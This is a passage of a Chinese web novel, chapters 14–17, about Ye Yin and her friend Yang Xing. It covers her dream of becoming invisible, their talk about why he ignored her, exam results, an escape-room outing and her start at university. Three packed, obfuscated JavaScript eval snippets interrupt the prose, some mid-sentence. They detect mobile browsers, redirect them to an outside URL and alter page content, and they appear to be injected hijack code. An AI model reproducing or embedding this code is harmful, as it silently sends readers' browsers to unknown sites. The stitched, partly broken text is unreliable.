三年匆匆过,我以为时间跟水一样流经了你们,原来,水也会留下痕迹吗? 最后她什么也没说,只乖乖地笑了下:“是啊。” 14. 第 14 章 出成绩那天,叶吟定了闹钟,结果一觉睡到了中午。 她坐在床上,想了半天才想起来,今天就是出成绩的日子。心跳微微加快,结果她打开手机一划,虽然到了饭点,却没有一个人给她发消息。 总感觉哪里不对,叶吟手指发紧,她一推卧室门,看到父母坐在餐桌旁,桌子上摆着两道菜两碗米。 第三张椅子挨着墙,藏在桌子下,她默默走到餐桌旁,拉开椅子,发出刺耳的“吱”一声。 “妈,我准备查成绩,你要不要跟我一起。” 声音发出,却好像丢失目标的单向信号,叶父看着手机,叶妈挑着鱼刺,无人理会叶吟的邀请。 叶吟心里一沉。 “妈?” 她先把手往叶妈眼前晃了晃,对方毫无反应,于是她搭上妈妈桌边的手臂,却愣愣地发现,手指毫无阻碍地穿了过去。 好像只是一夜之间,她的身体就变成了某种虚无的物质。 叶吟的大脑一片空白,仿佛整个世界都无声地塌陷下去,剩她一个人站在原地,空茫无措。 ……为什么会这样? 她不信邪,再次、再次地尝试,然而无论怎样都是徒劳无功。他们甚至交流了两句菜色,却一点没感受到第三个人的存在。 叶吟跟父母交流不成,勉强压住不安,用手机在五人群里发了条消息。 下一秒,屏幕上出现了一个鲜红的感叹号。 【您无法在已退出的群聊中发送消息。】 不……不……怎么会? 她切换私聊,同样的感叹号再次出现。 【您与对方还不是好友。】 为什么? 发生了什么? 叶吟披了件外套,夺门而出。她匆匆下楼,感觉好像身体里破了个洞,明明是烈日当头的盛夏,却偏偏往里灌着寒风。 在小区里碰到的第一个路人,叶吟顾不得礼貌,伸手便拦,她想问:“你能看到我吗?” 结果话音被卡在喉咙里,对方视而不见地穿过了她的手臂,从头到尾步速不变,对她这个活生生的人一无所觉。 ……怎么会?! 叶吟直奔杨星家,一口气爬上五楼。她喘着粗气,把门拍到震天响,一边喊:“杨星!杨星!” 无人回应。 她把耳朵贴到防盗门上,听不到一丝声音。正茫然,大门突然被从里面打开,杨星一边提鞋,一边扭着头跟里面的人说:“我去找刘胖了,晚上不回来吃饭!” “爱吃不吃。”杨星妈中气十足地答。 “杨星,杨……” 叶吟伸手去抓,不出意外地抓空了。手指完全碰不到人,明明是对着外套抓去的,却只捞到一手空气。 存在感被掐死在真空里,叶吟感觉自己像太阳下被曝晒的鱼,被开膛破腹,被所有人的记忆中剖出。 世界给她包了一层不透气的膜,像泡泡,薄而透明,却又坚硬到对她的所有挣扎一笑而过。 杨星从她身边堂然皇之地路过,叶吟几乎是失魂落魄地跟着他走下楼梯,走出单元门,走到阳光下。 为什么……? “你别跟着我了。” 他突然开口,叶吟脑子里“嗡”地一声,表情空白地抬头。 “大家都看不到你,你还要挣扎什么?” 杨星转过身来,五官背光,看不清楚,但声音冷淡,像无情利刃,刀刀见血。 “别折腾了。”他说。 “你不一直都是这样的吗?” 叶吟猛地睁眼。 呼吸还没有平复,那种被彻底遗忘和无视的恐惧盘桓心头,她迅速下床,几乎是破门而入一样冲进客厅。 一模一样的场景,叶吟的心开始下坠,但下一秒,听到声音的叶妈抬头,愣了一下,转身推了退叶父:“去给叶子盛饭。” 叶吟的世界被一场梦震到天翻地覆,又在醒来的须臾中落回原地。 她白着一张脸坐到桌边,手里捏着筷子,食不知味地把米饭塞到嘴里。 “查成绩了吗?”叶妈问。 “啊,”叶吟慢半拍答,“还没。” 她看起来淡定到让二老以为是不是大多数高考生都对分数这么不上心?于是两人只说:“那还是尽早查一查吧。” 叶吟放下筷子,一推饭碗:“我去找我朋友。” 她从同样的衣挂钩上拿下外套,顶着跟梦里同样的阳光走到杨星家,没敲门,只是站在门外,仿佛一座凝固的雕像,做不出下一步行动的决策。 我怎么会为一个梦跑到这里? 为什么我这么介意? 她的眉头越皱越紧,不自觉地抬手把胸口衣料攥出褶皱。 ……为什么我心里,这么难受? 杨星一推门,就看外面站了个跟鬼一样的叶吟。 白色睡衣外搭了件外套,吊脚的睡裤裤筒下一双拖鞋,头发散乱地披着,脸色很差,更别提眼神诡异到仿佛第一天认识他一样。 杨星被吓一跳,然后又一乐,说:“咋了,演倩女幽魂呢?” 叶吟的目光从他的眉眼一路逡巡到下巴,好像终于得到了什么答案。她没作声,转身就走,杨星莫名其妙地跟了上来:“不是,你怎么了?” “查成绩受刺激了?你爸妈说闲话了?叶吟?” 走出单元门,她依然不肯减速,杨星终于有点慌了,他抓住她手臂:“怎么了啊?” “杨星,”叶吟停下脚步,转身问他,“所以你到底为什么要装看不见我?” “这么多年,”她顿了顿,就好像这句话有多难以启齿一样,“明明你才是最能看到我的那个人。” “一直都是。” 太阳勉强算得上毒辣,但有风,就还好。 夏天的风也静静的,高三暑假悠闲地兜住了整个地球,就像运动会的校服外套拢住了那一整天的记忆。 那一天,跑完三千米的少年把奖牌挂到了少女的脖子上,以狗牌的名义,没人深想。 一年后,少女终于不再掩饰她的介怀和执着,把无所谓的面具一扔,说—— “我特别在意、特别纠结。” “我每次都想问,但每次都开不了口。” “我做了噩梦,梦里你说了很多伤人的坏话,所以我一定要问个清楚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609064|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你明知道我最讨厌被人无视,为什么还要装作看不见我?” “杨星,你是不是有事瞒着我?” 杨星认识叶吟很多年,她的行事作风一直类似“平平淡淡才是真”。 ——不争不抢、不闻不问。 因为知道自己存在感太淡,她干脆给自己画了个圈,被动地活在“我是透明人”的定义里。 就像飘飘摇摇的风筝,仿佛一不留神就要循着风飞走,远离所有人的视线,消失在所有人的关注中。 但,马克思说,人是社会的人,怎么能真的斩断所有联系呢? 叶吟用了很多年,一砖一瓦地建造起成熟的心理防御,用“不在意”,换“不伤心”。 只是杨星清楚,她不想这样。 ——叶吟一直、一直,想被看到。 他看得到,别人不行。叶吟总是那副飘飘欲仙的“算了没关系”的态度,他能怎么办? 他笨,想不出更好的办法,看到自己手里握着风筝线,竟然主动松了手,然后装出可怜的样子,勾引风筝说:“我够不着,你主动飞低一点吧。” 更笨的是风筝,竟然真飞了下来,问他:“你为什么要松开手?” 杨星看着一脸执着的风筝本人,酝酿半天,憋出来一句:“因为你是笨蛋。” 叶吟:? 杨星强装镇定,搬出一副严肃说正事的模样:“你还没说你多少分,要碾我十分我就告诉你。” 叶吟当了真,说:“行。” 他们跟两个傻子一样站在太阳底下,打开招考网开始查成绩。 叶吟输进准考证号,等页面加载的时候,其实心情已经平复得差不多。她有点不忍直视自己刚才的冲动,于是问:“你多少?” 杨星:“你猜猜?” 叶吟:“不猜。” 杨星“切”了一声,沾沾自喜道:“602,朋友,超常发挥。” 叶吟看到一眼手机上的数,下一秒就按熄了屏,一句话不说,转头往家走。 杨星嘚瑟地错过了她的分数,一看她这幅不知深浅的样子,心里一沉。 “不太好吗?没事,一场考试而已,回去看看怎么报志愿?……叶吟?” 他两步上前,伸手抓住她手腕:“别这样。” 叶吟背对着他的那一会儿,杨星感觉自己把古今中外所有安慰人的话都想了一遍。但他又清楚,如果真的没考好,那种挫败不是他轻飘飘几句话就能开导的。 于是他干巴巴地叫她:“叶吟,别难过了。” “差一分。”叶吟突然说。 “什么?” 杨星第一反应是,分数线还没出,什么差一分? “611,”叶吟反手抓住他,表情看不出什么喜色,甚至含着一点懊恼,“只拉你九分。” 杨星愣在原地,脸上从空白逐渐演变出一片五颜六色,像是什么活体彩虹糖。 “你……你,我不行了。” 他为刚刚的自作多情而感到不值。 叶吟却没有就此打住,她抓着他不放,眼睛有些异常地亮:“如果我说我非常难过的话,你会跟我说实话吗?” 15. 第 15 章 叶吟并非真的无欲无求。 相反,她性格里甚至有些执拗,只是在透明的年月里,她选择用不期待换不失望,用不追究换不受伤。 此刻盯着杨星的眼睛,叶吟突然意识到,此人天生随性,对她更是无限包容,他磕磕绊绊地走出了唯一正确的那条路,消解了她的距离感,并且自成为朋友以来,从未疏远、从未背叛。 那一丝被深藏的执拗活了过来,仿佛有个声音在教唆:“他跟别人不一样。” 所以她向前一步,踏出了原本的舒适圈,冒着被闪避失望的风险,向他追问。 ——如同一场不折不挠的追击。 “你会告诉我吗?” 杨星在她少见的主动下丢盔卸甲,从脖子到耳朵漫上一点浅浅的红色,心想这真有够尴尬的。 他组织语言的时候,叶吟就无言地盯着他,看似礼貌克制、实则步步紧逼。 “好吧,”他投降般开口,“好吧。” “你觉得不觉得,自己有点过于孤僻了?” 坦诚从一个稍显尖锐的问句开始,但显然,说话的人也没想听对方的答案。 “尤其是上高中之前,除了我,你甚至没有别的朋友。就那种,怎么说……抽离的状态,会让人觉得很遥远。” 叶吟眼露茫然:“抽离?” “对,因为弄不清你在想什么,并且一副随时都能离开的样子,让人,好吧,让我,有些担心。” “我不会离开啊?” “不。我的意思是,你总是被动地接受一切发生,但人活着是一个主动的状态,懂吗?好玩的事情太多了,我不想你总是死气沉沉的,哪怕因为别人无视你生气,也比你平常躺平摆烂好。” 叶吟努力把自己带入他的脑回路,半懂不懂地说:“你觉得我性格很烂?” 杨星深吸一口气:“……我觉得你理解力很烂。” “举个最简单的例子,你爸妈总是让你失望,但你不会说,只会闷着。再比如,来我家,永远客客气气,就好像我妈对你的喜欢,需要你拿什么东西交换一样。” “你离人群太远了,”他抬手比划了一下,“他们无视你,你也反过来疏远他们,然后你的心,变得越来越冷淡。但你不喜欢。” 他顿了顿,说:“你不喜欢。我知道。” 叶吟愣愣地听着。 “所以我觉得必须做点什么,让你更有人气儿一点,离我……也更近一点。” 杨星说完就后悔,这不着四六的话是怎么从自己嘴里说出来的?但他转念又觉得,这就是他的真实想法,早说晚说都是这样的。 而且,他也真是这么干的。 ——松开手,等风筝自己飞低。 “竟然是这样。”叶吟喃喃道,声音很轻,带着点恍然。 她一直觉得自己是那个被忽略的、被迫承受一切的人,却从未想过,在她筑起高墙的同时,也错过了试图靠近的温暖。 “所以你假装看不见我,就是为了刺激我?让我生气,让我主动来质问你,让我变得,‘有活人感’一点?” 杨星硬着头皮说:“差不多,呃,是不是有点傻?” 叶吟没有第一时间回答,她长长舒出一口气。 “你别告诉我当时高二的决赛,你一直针对那个队长……” “别说了别说了别说了!你记性这么好干什么!”杨星堵上耳朵,试图掩耳盗铃。 叶吟:自己装看不见,还不允许别人看见,这不是双标是什么? 她不知道怎么形容这种心情,忍不住说:“你简直像那种,为了吸引女生注意就拽人头发的小学生。” 杨星肉眼可见地萎靡下去,有气无力地为自己辩解:“当时决定这么干的时候,确实在读小学嘛,这么多年我都习惯了,你肘击也不疼,挨骂也好、挨打也好,至少那一刻你最像人。” 叶吟吐槽:“……强盗逻辑。用这么些手段、费这么大劲,不知道的还以为你在钓我呢。” 杨星顿了顿,若无其事地说:“害,朋友嘛。不过,你现在的状态比三年前好太多啦,为父的良苦用心……别打别打,哎!” “……” “如果我能早点认识你就好了。” 两人坐在小区绿化带里的长椅上,叶吟看着对面的秋千,突然冒出这么一句。 “还要多早?”杨星刚坦白了一件大事,心中也还算轻快。 “嗯……幼儿园?” 叶吟说:“幼儿园大家不都爱起外号吗?有个小孩叫我透明人,那是我第一次收获绰号,以为终于可以融入他们了,结果第二天往后他再没叫过我。” “我当时就想,再也不要对别人抱有什么期待了。” 她越说,杨星表情越奇怪。 “等一下,”他说,“首先,我们是幼儿园同学。” 叶吟眉毛一动,她对这事没印象。 “其次,”他咽了下口水,“你说的那个人,是不是缺门牙、很瘦、个子挺高?” 叶吟想了想:“好像是,后来他门牙缺了好一阵子。” 杨星往后一靠,仰面朝天:“他门牙是被我打掉的,所以后来他不敢叫别人外号了。” 叶吟表情震动地看过来:……? 杨星对上她震惊的眼神,抓狂地说:“为什么会有人喜欢别人给自己起绰号!你不觉得很难听吗?!” 叶吟:“……我觉得透明人很酷啊。” “醒醒啊喂,他这么叫是因为老师发零食老是漏掉你,又不是什么好事!” 叶吟呆呆地“啊”了一声。 “我矮,他就叫我地出溜,另一个小女孩不爱说话,被叫小哑巴,”杨星磨着后槽牙说,“他真该谢谢我把他打回正道上。” 叶吟消化了一会儿,慢半拍说:“原来是这样。” 很久很久之前的心结突然被解开,答案竟然如此奇葩,她忍不住想笑,又有些说不清的困惑:“为什么会是这样?” 事情跟她想的太不同了。 “因为你其实不在乎那些,”杨星恢复平静,说,“你不在乎的事情,不会花力气去看,就像人不会浪费时间去关注不在意的人。” 叶吟眼神微动。 “他们看不到你是因为不在乎,叶吟,总会有看得到你的人。” 透明人光环不也是这样吗? ——在意才会看到。 叶吟突然说:“比如你吗?” 杨星被掐住一样,干干地说:“啊,对。” 叶吟若有所思:“这样啊。” 杨星手臂搭在长椅的靠背上,指尖还有几公分就能碰到叶吟的外套。 目光顺着自己手指,滑到叶吟肩膀,再到她安静的侧脸,心里一动,在脑子反应过来之前,视线已经转到天上,仿佛刚刚几秒是在追寻飞鸟的痕迹。 蓝天下一丝云慢慢悠悠地飘过来,他把更多的话咽进肚子里,心想,算啦,有什么好说的。 他们是最好的朋友嘛。 一小时后,李校花双眼放光地抓着叶吟双手不松:“不愧是我最好的朋友!” 杨星:……我很好,只是偶尔被需要。 刘胖拿着叶吟手机,爱不释手到仿佛是自己考了611:“你把这个成绩摔高一的老班脚底下上,他得捡着裱起来,把你挂年级进步之星。” 从倒数第10,到600+,叶吟的努力他们都在看在眼里,或者说,没人比他们更看在眼里。 叶吟有点不好意思地抿嘴,结果李沫一推眼镜,问:“这个分数能上清北吗?” 不好意思的也好意思了,高兴的也笑不出来了。四双看死人的眼睛转过来,庖丁解牛一样把他凌迟了四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611824|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍。 “李少爷,你这话传出去,谁听了都得觉得你找事儿。” 李校花眼神几乎能把他骨头刮出沫子,但李沫也是功力到家,担下来还有余力笑笑:“确实不太清楚。” 刘胖勾着他脖子,狠狠一压:“还装?再装扣你护照,后天不许走了。” 李校花收起尖锐的表情,不再看他们,扬了扬下巴问杨星:“你呢?” “602,”杨星说着,叹了口气,“我考的也挺好啊,怎么不给我庆祝一下?” “没人记得第二名,”刘胖还压着李少爷不松手,脸上笑嘻嘻地说,“高考mvp是中单,谁同意谁反对?” “行行行,”杨星摇摇头,“不过你这个分,可惜了点。” 刘胖却说:“我上个本科就行。” 李校花眼看要问到自己,先声夺人:“别问我,我这边比你们复杂一点,我得等分数线。” 杨星:“报志愿也挺麻烦的……哎,现在又不着急说这个干什么。密逃约的几点?” “三点,可以过去了,”李沫终于挣脱刘胖,看了眼手机,“是有真人npc的微恐本。” 刘胖自我感觉良好:“微辣就是不辣,微恐就是不恐。” 不能吃辣的叶吟看了他一眼:“最好是。” 然而密室进门,关灯的一瞬间,刘胖破防大叫:“有东西摸我!” 杨星默默收手,抖着胳膊抓了前面李沫的衣服。 李沫站在李校花后面,问:“先找线索,还是先去安全屋?” 杨星听到声音才意识到自己抓错了人,脑子里排除法过了一遍,感觉大概是叶吟。对方没拒绝,他犹豫了一瞬,干脆就这么抓着了。 叶吟被熄灯也吓了一跳,但是她淡定惯了,心跳再快表面也是一副不动如山的样子。 结果被人抓住衣服,又吓了她第二跳。 她控制着呼吸没敢动,过了几拍才想起来自己身后是杨星,于是什么也没说,两个人“心照不宣”地绑成了连体婴。 李校花是解谜主力,刘胖掐着李沫的手臂不松,一惊一乍负责营造恐怖气氛。 两个沉默的参与者存在感全无,只有在灯光扫过的时候才能看到他们脸色一个比一个白。 剧情过半,拿着日记的李校花钻研半天,终于找到了主线推进的关键:“这里有一段单人线密道,谁去?” 李沫说:“抽签吧。” 五个人拿出手机扔骰子比大小,杨星扔了个“1”,杀死了比赛。 “……要不我们点大的去吧?”他艰难地开口。 扔了6的刘胖第一个不同意:“你赶紧的,磨磨唧唧,快去。” 杨星几乎是依依不舍地松开了叶吟的衣摆,一步三回头,最后弓着身子钻进小门,光荣赴死。 门板落下,广播里传来诡异的念白声,机关解开,四人继续前进。 过了一会儿,背景音:“好奇的学生消失在午夜,神秘的高一四班却在一周后向勇敢的拯救者重开大门,黑板上写着一个大字——” 刘胖颤颤巍巍地预判:“死?” 血红色的投影赫然出现:“来!” 李沫敲他一下:“别吓唬人。应该又是一段单人线,走完就能把杨星带回来了。扔骰子?” 刘胖拒绝,念念叨叨:“星哥你自求多福吧胖子我实在是有心无力了。” 李校花被选中成为女主角转世,被强制扣在主线,于是只有李沫跟叶吟扔骰子。 叶吟:1。 叶吟面无表情地收起手机,撩起假藤蔓的遮挡,独自走进密道。 疯狂的心跳藏在诡异的BGM之下,墙壁上用红油漆写满了“死”字,一张脸在红色的灯光下仿若恶鬼。 叶吟脚步刹停。 NPC手里拿着对讲,全副武装地坐在门口。 16. 第 16 章 坏消息,有真人NPC守门。 好消息,NPC在搓桌子上的油漆,没注意她。 叶吟一口气不上不下地憋住了,她迈开步子,默不作声地走到发呆的NPC身边,光明正大地拿起钥匙,捅进了旁边的门锁。 NPC坐在桌子上,两条腿逛荡着,露出一截蓝色牛仔裤和运动鞋。 直到把那块油漆搓下来了,NPC松了口气,一手摁住对讲,一手摸向旁边的钥匙:“人快到了吧?男的女的啊?” “……已经到了?!” 转不动钥匙的叶吟微顿,一回头,跟明显凝固了的NPC对上了视线。 “……你什么时候过来的?!” 手下的钥匙终于对准了位置,发出轻微声响,叶吟冷静开口:“抱歉。” 下一秒,她狠狠按下把手,推门挤过缝隙,又立刻转身,用脚抵住门板。心跳快得不正常,叶吟死死按着把手,任由NPC把门拍得震天响。 两人僵持了几分钟,那边终于没了动静。 她松了一口气。 幽幽的声音传来:“你解出密码了吗?” 叶吟一转头,看到被关在笼子里生无可恋的杨星。 “什么密码?”她比他还茫然。 “……那个npc会给你念一首打油诗,你要解出密码,然后才能放我出来。” “……” “你没过剧情?那你怎么过来的?”杨星跟她面面相觑,心中一首《铁窗泪》回荡。 隔着门板,NPC闷闷的声音传来:“密码是xxxxxxxx,女主遇害的日期,你们开门赶紧走吧,我真服了……” NPC欲哭无泪,怎么能让玩家从自己眼皮子底下溜过去? 真没天理,一世英名毁于一旦了。 他被对讲机里的调度骂到狗血喷头,忍不住回怼:“不是有监控吗,你怎么也没注意啊!” “你把人放跑了还有理了,要是每个玩家都来这么一出,店还做不做啦!”调度理直气壮地给他扣帽子。 “你是调度,不是老板!” 两人的争吵传不到玩家耳朵里,“勇敢的拯救者”输入密码,终于在机关轰隆隆的声响中,把“好奇的同学”放了出来。 出口密道打开,他们马上要回到主线,杨星却有些心有余悸,小声问:“我们能不能不回去?” 他的眼睛在暗中反射着一点点光,脸上蹭了点灰,有些狼狈的模样,却又带着点真诚的乞求,可怜得让人心软。 叶吟被他看着,差点鬼迷心窍地答应下来,广播里突然传来调度的声音:“小情侣别耽误副本进度,赶紧往前!” 杨星&叶吟:不…… 气氛突然一变,两人也不敢再当连体婴,脚下深深浅浅地踩过密道,跟另外三人汇合。 刘胖木着脸:“来啦。” 还有一段路要大家一起走,李校花百忙之中抽出一丝注意力,发现两只胆小且沉默的鹌鹑突然拉开了点距离。 她眯了眯眼,不动声色地在心里记了一笔。 最后一个狭窄的房间里,安排了投影加机关的剧情梳理。五个人站在黑咕隆咚的房间中央,看三面墙壁上轮流回放着剧情女主的遭遇。 刘胖稍微动了点感情,小声说:“校花,你这个前世实在有点惨。” 李校花白了他一眼。 剧情播到结尾,一阵阴风吹来。众人来不及反应,就见最后一堵墙突然裂开,震耳的BGM爆发,白衣女鬼身上挂着锁链,直冲而来! 李校花把原本站在最后、现在却变到最前的刘胖往后狠狠一拉,一偏头,就看叶吟杨星两个人四只手缠到一起,双双吓丢魂儿的模样。 杨星自己怕得不行,却还是下意识把叶吟往自己身后拽,可巧的是叶吟也同样想法,于是不知怎么回事就变成了脸对脸、差点抱在一起的姿势。 灯亮了,刘胖被吓到差点哭出来。李校花抱着胳膊,审视着双手交握的两只鹌鹑。 不知怎么就尴尬了起来,叶吟率先松开手,轻轻咳嗽了一下:“微恐,也挺恐怖的哈。” 杨星干巴巴地附和:“是啊。” 刘胖超大声地叫:“再也不来了!李沫!看你选的好本儿!” 李沫推了推眼镜,看了眼李校花的表情,又看了眼明明认识那么多年、拉个小手还能尴尬到不知道怎么站的两个人,默默地没出声。 “走了,”李校花把叶吟拉到自己身边,问她,“他怕成那样,你怎么不来找我。” 叶吟小声说:“还得靠你解谜,我们抱团取暖一下就行。” 听不出毛病,但李校花一向敏感缜密。 路上她瞄了两人好几次,看不出什么猫腻,吃饭的时候,她继续观察,只觉得叶吟还好,杨星一直在避免对视。 这里边绝对有问题。 自助吃了一半,中场休息环节。 在杨星的刘邦又一次传送到中单身上、吃完一波兵线掉头就走的时候,李校花发话了:“杨星啊。” “哎,哎,”杨星一边操作一遍说,“怎么了?” “你怎么玩刘邦,一整局都不看射手的?” “刘胖有李沫保着呢。”杨星说。 叶吟点点头。 话确实是这样不错,但她玩的是法核,不是工具人。刘邦大招一好就过来,感觉不是为了保护队友,而是为了正好交汇的兵线…… 她宽宏大量地想:算了,都是小事。 “那我入野区的时候,怎么你也不跟呢?” 杨星理所当然地说:“你入蓝,我上路过去太远,还得跟对面对线呢。” 叶吟抬头看了眼校花,只看她一脸“我要揪你小辫子”的表情,和稀泥说:“咱们三线全优嘛,玩得都挺好的。” 李校花“哼”了一声,看在叶吟主动回护的态度上,勉强把这事儿翻过去了。 臭小子多少有点司马昭之心,也就是当事人看不出来了。 晚上李沫先走,他要收拾东西,明天飞B市,后天直达阿美莉卡。 四人在路边等车。 “多给洋人宣传一下我们大钟国文化。”刘胖认真脸。 “一路顺风。”叶吟点点头。 杨星:“早去早回。” 刘胖:“这也能早去早回?” “想家了就回来,机票不贵,你也不缺那点钱。”李校花最后说。她犹豫片刻,伸手拍了拍他肩膀,“走吧。” “走了。”李沫挥挥手,转身上了车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618063|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “下次不知道什么时候见了,”刘胖稍有惆怅,“他们那边假期跟我们不太一样吧?” “不知道,”杨星干脆地说,“你也别太替他担心了,这两年他偷偷摸摸长了不少心眼。” “……确实是,”刘胖摸摸下巴,“我看他也是深沉了点。” 李校花打开黄袋鼠,搜了一家最近的酒吧:“孩子们,探险之旅,来不来。” 三人畏惧摆手,表示敬谢不敏。 李校花收了手机耸耸肩:“那算了。” * 过了几天,报志愿的时候,叶吟是一个人翻着大红书,一条一条确认下来的。 她把往年排名差不多的游戏设计专业都勾上了,几十条平行志愿,根本写不满,于是她又往外扩了扩,还鬼迷心窍地勾了两个软件工程。 没想到事情就是这么离谱,软件本来是H大热门专业,结果今年爆冷。 H大是她摸高梯队的志愿,叶吟根本没想会有这种好事降临在自己头上,但一看专业又发愁,杨星那个“码农”的预言,竟然就这么平平淡淡地成真了。 直到分数线该出的都出了,李校花终于放出了自己捂了一年的志愿。 S大表演系。 刘胖的下巴掉到地上:“姐……太了不起了,不是科班能考上,这个实力我真是五体投地。” 艺考的难度其他人不清楚,李校花也不多说,只是相当得意地给大伙秀了个遍。 “恭喜,”叶吟真心为她高兴,“得偿所愿。” “好想演戏,”李校花双手合十,“希望有人能找我演戏。” “李沫他们家文娱没什么涉猎吗?”刘胖问,“你问问他试试?” 李校花短暂沉默,说:“总有种不太好的感觉。本来我们几个友情干干净净,要是问了,啧,一下子就变味了。” 叶吟有点懂她的感觉,安慰说:“没事。” 李校花把烦恼一抛:“上号。赛季末了,冲个荣耀。” “咱们少人啊,”杨星说,“李沫打王者要架梯子吧。” 李校花:“架梯子也有延迟的,叶吟叫那个谁呗。” “陈一衡嘛,我问问。” 四个人坐在肯x基,苦等十分钟,才接到陈一衡回复。 她不来线下,线上可以。 正好替了李沫的辅助位,陈一衡掏出小鹿女。 李校花“哼哼”一声,掏出云中君,开麦喊她:“来跟我。” 众所周知,峡谷顶流辅助跟查无此鸟人是官配cp。 陈一衡:“诶,好。” 野辅联动,大杀特杀,只有刘胖坐在绝育路的大牢里,悔不当初。 “当时有一位真诚的辅助摆在我眼前,但我没有珍惜,等到失去才追悔莫及……李沫你什么时候回来啊!” 陈一衡差点就于心不忍了,李校花说:“让他抗压,我们出节奏,能赢就是好射手。” 于是刘胖在这个不属于射手的版本里吃了太多苦,到最后甚至破防掏出了神秘偷毒男、神秘下棋男等邪修发育路,战绩日常超鬼。 已经荣耀的李校花:好玩爱玩多玩。 陈一衡喜滋滋:最喜欢野王姐了。 叶吟:那我走? 17. 第 17 章 H大开学早,军训也早,叶吟自己收拾了两个大行李箱坐高铁。 来送她的是杨星。 “如果教官看不着你,大胆翘班就是了,”杨星说,“室友的话,反正你跟高中室友也没多熟……唉,要是我们一个学校就好了。” 叶吟木着脸:“我妈不在,你现在拿的是我妈身份卡?” “那当然啊,你妈缺你的,我都给你补上。”杨星挑了挑眉毛,抱着手说。 叶吟摇摇头:“别担心我了,你不也快开学了。” 杨星叹气:“暑假过得真快啊。” 这人絮絮叨叨一路,到了火车站还在说,现在终于没什么可说的了,却还是不肯走。 叶吟看他欲言又止的表情,主动张开双臂:“那,抱一下,我走了?” “啊?啊。” 杨星稍微有点僵硬地环住她,感觉她在自己后背拍了两下,仿佛是安抚小孩一样。 “走啦。” 叶吟松手一笑,紧了紧书包,拖着箱子往安检走。 杨星慢了两秒才回神,把两手放在嘴边充当喇叭:“一路顺风!” 人流中那个身影消失了,杨星却依然有种被人砸了一锤子晕晕乎乎的错觉。 心脏“扑通扑通”跳得仿佛要飞出嗓子,鼻间似乎还有叶吟身上洗衣液的味道,夏风吹动衣摆,吹不散那一点点挥之不去的热意。 他摸了摸自己发烫的脸颊,实在想不通,自己到底中了什么邪。 ……总觉得怪怪的。 杨星的迷茫叶吟一概不知,她在车上碰到了第一届农药争霸赛的熟人。 “叶吟?” 她惊讶回头。 “我们一起打过比赛的,”说话的人把她32寸的箱子提起来,轻轻松松地放到行李架上,“你玩米莱狄偷家的那次。” ——是那个一面之缘就记了她名字、然后提醒队友针对她半局游戏的亚军队长。 叶吟很少碰到这种情况,甚至说,半生不熟的偶遇在她的人生里从来没发生过。 她花了两秒来理解这个场景。 “……好巧。” 叶吟主动伸手,对方呆了一下,郑重地跟她握了握。 背景是嘈杂人声,两个人杵在过道里,正好能把路堵死。他注意到了,把叶吟第二个箱子也放上架子,匆匆一笑就拖着自己的箱子走开了。 叶吟以为偶遇到此为止,结果到了S市,出站又碰到。 “……好巧?”他也忍不住笑了。 叶吟拿着手机打车,说:“H市的大学开学真早啊。” “你也是H大的?”队长却问。 “你也是?” 那可真是巧了。 队长点头,语气无奈:“整个H市,只有H大明天开学。” “原来是这样,”叶吟打的车先到,她礼貌邀请,“一起吗?这边车还挺难打的。” 队长没推脱,在车上跟她换了私联。叶吟翻了翻他的朋友圈,甚至看到了一条杨星的评论,忍不住感慨,他乡遇同学,实在是缘分。 “你加新生群了吗?”她按熄手机,出于礼貌开启尬聊。 “加了,全是学长学姐装新生,”队长笑说,“我研究了一下学校的社团,你要去电竞社吗?” 叶吟有点心动,但一想过去透明人的遭遇,还是拒绝了。 队长顺着说:“我也准备再观望一下。” 再见就是在军训场上,蓝色作训服的海洋里,叶吟又听到了一声:“叶吟!” 她转头看去,觉得真是奇了,怎么就跟打通了任督二脉一样,他们学校也不小,同时军训的有三个操场,偏偏俩人就能遇到。 “许航。”叶吟字正腔圆地叫了队长的名字。 “诶,你知道啊?”许航三两步跑过来,同样的作训服,他穿在身上竟然还能称得上有型。 叶吟琢磨着,大概因为肩宽个高的身材,似乎属于脱衣相当有肉的那一挂。 “杨星发过你们班毕业照,我照片对着名字查了一下。”她坦然地说。 许航愣了一下,又乐:“竟然是这样。” “快集合了,还不回去吗?” “噢对,我是想问,你吃不吃西瓜?班长竞选快到了,我订了西瓜贿赂我们班同学,但不小心买多了……” 听起来不太走心的借口,叶吟耐心地问:“买了多少?” 许航深呼吸;“5个下单成了50个。” 叶吟:? 对不起。 50个西瓜实在是有点抽象,许航开玩笑说送不出去他就要去操场摆摊了。叶吟没拒绝得了,拎了两个整西瓜回宿舍,绊绊磕磕地跟室友们分享了。 室友们:爽! 